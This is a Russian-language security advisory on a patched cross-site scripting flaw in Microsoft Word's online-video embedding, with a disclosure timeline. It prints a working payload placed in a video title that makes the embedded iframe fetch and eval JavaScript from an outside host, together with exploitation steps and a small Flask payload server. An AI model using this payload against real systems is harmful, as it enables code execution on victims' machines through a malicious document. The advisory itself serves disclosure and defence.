October 11, 2023

Microsoft Office XSS  

Microsoft Office 2023 XSS

4 октября 2023 г.

Найдены @adm1nkyj и @justlikebono.

Краткое содержание

На сервере при анализе видео по ссылке, указанной злоумышленником, вредоносная полезная нагрузка, включенная в заголовок видео, может вызвать атаку XSS (межсайтовый скриптинг), позволяющую выполнить произвольный код Javascript.

Основы

  • Продукт: Office Word, включая Office 365 Word.
  • Протестированная версия: Microsoft Word для Microsoft 365 MSO (версия 2306, сборка 16.0.16529.20164), 64-разрядная версия.
  • Класс ошибки : XSS (межсайтовый скриптинг)

Уязвимость

Различные продукты Office, включая MS Word, позволяют пользователям вставлять в документы нужные внешние видео через вкладку «Онлайн-видео».

Когда пользователь воспроизводит внешнее видео, встроенное в документ, Office проверяет, заслуживает ли доверие поставщик внешнего видео, например YouTube. Эта проверка выполняется путем применения к URL-адресу следующего регулярного выражения.

https?://(www\.)?youtube\.\w{2,3}/.*|https?://(www\.)?youtube-nocookie\.\w{2,3}/.*|https?://youtu\.be/.*|https?://(player\.)?vimeo\.com/.*|https?://(\w+\.)?slideshare\.net/.*|https?://(\w+\.)?microsoftstream\.com/.*

Если он считается заслуживающим доверия, он отправляет запрос, подобный следующему, для получения таких данных, как заголовок или миниатюра видео.

GET https://hubble.officeapps.live.com/mediasvc/api/media/oembed?url=https%3A%2F%2Fwww.youtube.com%2Fembed%2FGX2nEmvxK-4%3Ffeature%3Doembed&streamsso=true&lcid=1033&syslcid=1042&uilcid=1033&app=0&ver=16&build=16.0.16529&platform=Win32 HTTP/1.1
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.16529; Pro)
X-IDCRL_ACCEPTED: t
X-Office-Version: 16.0.16529
X-Office-Application: 0
X-Office-Platform: Win32
X-Office-AudienceGroup: Production
X-Office-SessionId: DE75B69F-49BA-4D92-BD45-2B02504B4021
Host: hubble.officeapps.live.com

Серверhubble.officeapps.live.com отвечает информацией , включая заголовок, описание и HTML-тег iframe для воспроизведения видео.

Уязвимость возникает из-за этого тега iframe. Сервер добавляет заголовок видео к атрибуту « title» тега iframe без какой-либо проверки. В результате, правильно используя двойные кавычки, можно свободно добавить атрибут onload к тегу iframe, которым отвечает сервер.

Ниже приведен пример ответа сервера officeapps.live.com на вредоносное внешнее видео.

{
    "description": "",
    "video_description": "",
    "start_time": null,
    "end_time": null,
    "embed_url": "https://www.youtube.com/embed/GX2nEmvxK-4?feature=oembed",
    "html": "<iframe width=\"200\" height=\"150\" src=\"https://www.youtube.com/embed/GX2nEmvxK-4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\" title=\"\" onload=\"fetch('http://158.247.239.32/a.js').then(function(a){a.text().then(function(a){eval(a)})})\" sandbox=\"allow-scripts allow-same-origin allow-popups\"></iframe>",
    "type": "video",
    "title": "\" onload=\"fetch('http://127.0.0.1/a.js').then(function(a){a.text().then(function(a){eval(a)})})",
    "provider_name": "YouTube",
    "provider_url": "https://www.youtube.com/",
    "thumbnail_url": "https://i.ytimg.com/vi/GX2nEmvxK-4/hqdefault.jpg",
    "thumbnail_width": 480.0,
    "thumbnail_height": 360.0,
    "width": 200.0,
    "height": 150.0
}

На основе этого ответа Word записывает HTML-файл для отображения через Edge Webview в каталоге %LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.Word.

В результате этот HTML-код будет содержать код JS, внедренный злоумышленником. (Логика этого реализована в wwlib!XszCreateVideoHTML. Подробный анализ выходит за рамки данной статьи.)

Как видно выше, атрибут песочницы iframe имеет набор разрешенных сценариев, разрешений того же происхождения и разрешенных всплывающих окон. Это означает, что JavaScript может быть выполнен, желаемые URI могут быть запущены через window.open или сценарии с внешнего сервера могут быть выполнены с помощью метода fetch.

Эксплуатация

  1. Как показано в примере в описании уязвимости, создайте видео YouTube с заголовком, включающим полезную нагрузку для вставки атрибута onload.

" onload="fetch('[http://127.0.0.1/a.js](http://127.0.0.1/a.js)').then(function(a){a.text().then(function(a){eval(a)})})

  1. Нажмите вкладку «Интернет-видео» в Word и вставьте URL-адрес вредоносного видео в документ.
  1. Настройте простой веб-сервер, который поддерживает CORS и отвечает вредоносным JavaScript, как показано ниже. (В этом примере файл Calc.exe выполняется через схему URI калькулятора.)
from flask import Flask

app = Flask(__name__)

@app.after_request
def apply_cors(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    return response

@app.route('/a.js', methods=['GET'])
def exploit():
    return 'window.open("calculator://")'
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Демо

PoC_Public.mp4

Заключение

Уязвимость показала, что злоумышленник может создать документ Word, содержащий определенное видео, и выполнить произвольный код JavaScript при воспроизведении видео.

Предыдущие критические эксплойты Office, такие как CVE-2021-40444 и CVE-2022-30190 (Folina), начинались с выполнения произвольного javascript. Если он связан с новым уязвимым URI, например использованным ранее ms-msdt, это может напрямую привести к критической уязвимости RCE (удаленное выполнение кода).

Особенно учитывая уязвимость, которая срабатывает при воспроизведении видео, встроенного в Word, злоумышленнику легко побудить пользователя воспроизвести это видео. Требуются оперативные действия.

Ссылка

График

  • 27 июля 2023 г. об уязвимости сообщили в MSRC.
  • 25 августа 2023 г. Признана уязвимостью безопасности с критическим уровнем серьезности.
  • 12.09.2023 Исправлено в последней версии.